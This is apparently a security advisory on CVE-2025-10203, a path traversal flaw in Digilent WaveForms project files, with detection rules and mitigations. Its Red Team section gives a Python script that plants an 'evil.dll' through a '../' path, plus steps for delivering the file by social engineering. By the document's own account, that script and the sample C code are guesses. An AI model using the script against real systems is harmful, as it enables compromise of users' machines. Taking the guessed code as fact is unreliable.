CVE-2025-10203

Executive Summary

CVE-2025-10203 is a high-severity relative path traversal vulnerability (CWE-23) in Digilent WaveForms, a software tool for designing and testing FPGA-based systems. The vulnerability arises from improper input validation when processing specially crafted .DWF3WORK project files. An attacker can exploit this by convincing a user to open a malicious file, leading to arbitrary code execution on the victim's machine. The CVSS v3.1 base score is 7.8 (High), with the attack vector being local and requiring user interaction. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not yet provided a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the potential for full system compromise.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone desktop application. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector (AV): Local (L) – The attacker must have access to the local system or convince the user to open a file.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must open the malicious file.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full data modification possible.
• Availability (A): High (H) – Full system compromise possible.

Threat Level: High. Exploitation requires user interaction, but the impact is severe, allowing arbitrary code execution.

Deep Dive & Mechanics

The vulnerability is a relative path traversal (CWE-23) in Digilent WaveForms. The software fails to properly validate file paths when loading .DWF3WORK project files. An attacker can craft a malicious file containing path traversal sequences (e.g., ../) to write or read files outside the intended directory. This can lead to arbitrary code execution if the attacker overwrites critical system files or loads malicious libraries.

Root Cause: The application does not sanitize user-supplied file paths within the .DWF3WORK file format, allowing an attacker to specify paths like ../../Windows/System32/evil.dll.

Attack Flow:

1. Attacker creates a .DWF3WORK file with embedded path traversal payloads.
2. Victim opens the file using Digilent WaveForms.
3. The application processes the file and writes/reads files to arbitrary locations.
4. If the attacker overwrites a DLL or executable, code execution is achieved.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is unknown. However, based on the CWE, the vulnerable code likely resembles:

Vulnerable (C):

void load_project(const char* filename) {
    char path[256];
    // No validation of filename content
    sprintf(path, "projects/%s", filename);
    FILE* f = fopen(path, "r");
    // Process file...
}

Patched (Hypothetical):

void load_project(const char* filename) {
    char path[256];
    // Validate filename to prevent path traversal
    if (strstr(filename, "..") != NULL || strchr(filename, '/') != NULL) {
        // Reject malicious filename
        return;
    }
    sprintf(path, "projects/%s", filename);
    FILE* f = fopen(path, "r");
    // Process file...
}

Exploitation & Lab Setup

Red Team

Lab Setup:

• Install Digilent WaveForms 3.24.3 on a Windows 10 VM.
• Create a malicious .DWF3WORK file using a hex editor or Python.

Exploit Code (Python):

import struct

def create_malicious_dwf3work(output_path, payload_path):
    # Craft a .DWF3WORK file with path traversal
    # This is a simplified example; actual format may vary
    header = b"DWF3WORK"
    # Path traversal to overwrite a system DLL
    malicious_path = b"../../Windows/System32/evil.dll"
    payload = open(payload_path, "rb").read()
    
    with open(output_path, "wb") as f:
        f.write(header)
        f.write(struct.pack("I", len(malicious_path)))
        f.write(malicious_path)
        f.write(struct.pack("I", len(payload)))
        f.write(payload)

# Usage
create_malicious_dwf3work("malicious.dwf3work", "evil.dll")

Execution:

• Send the malicious file to the victim via email or social engineering.
• When the victim opens it, the DLL is written to C:\Windows\System32\evil.dll.
• If the DLL is loaded by a privileged process, code execution is achieved.

Blue Team

Detection:

• Monitor for unusual file writes to system directories (e.g., C:\Windows\System32).
• Use Sysmon to log process creation and file creation events.
• Alert on any .DWF3WORK file that contains path traversal sequences.

Hunting:

• Search for processes named WaveForms.exe that access files with .. in the path.
• Check for unexpected DLL loads in the WaveForms process.

Indicators of Compromise (IOCs)

• File Hashes: (SHA256 of malicious .DWF3WORK files – placeholder)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network: No network indicators expected.
• Process: WaveForms.exe with unusual file access patterns.
• Registry: Possible persistence via HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
• File System: Creation of files in C:\Windows\System32\ or C:\ProgramData\ by WaveForms.

Detection Engineering

YARA Rule

rule CVE_2025_10203_Digilent_WaveForms_Path_Traversal {
    meta:
        description = "Detects malicious .DWF3WORK files with path traversal sequences"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10203"
    strings:
        $header = "DWF3WORK"
        $traversal1 = "..\\"
        $traversal2 = "../"
        $traversal3 = "..\\..\\"
    condition:
        $header at 0 and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-10203 - Digilent WaveForms Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file writes to system directories by WaveForms.exe
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10203
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\\WaveForms.exe'
        TargetFilename|contains:
            - 'C:\\Windows\\System32\\'
            - 'C:\\Windows\\SysWOW64\\'
            - 'C:\\ProgramData\\'
    condition: selection
falsepositives:
    - Legitimate updates or installations
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-10203 - Digilent WaveForms Path Traversal"; flow:to_server; content:"DWF3WORK"; offset:0; depth:8; content:".."; within:100; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Do not open .DWF3WORK files from untrusted sources.
2. Disable file association for .DWF3WORK if possible.
3. Use application whitelisting to prevent WaveForms from writing to system directories.

Long-term:

• Vendor Patch: Await an official patch from Digilent. Monitor their security advisories.
• Workaround: If possible, use a sandbox or virtual machine to open .DWF3WORK files.
• User Training: Educate users about social engineering attacks involving malicious project files.

Detection:

• Deploy the YARA, Sigma, and Suricata rules above.
• Enable file integrity monitoring (FIM) on critical system directories.

Valters IT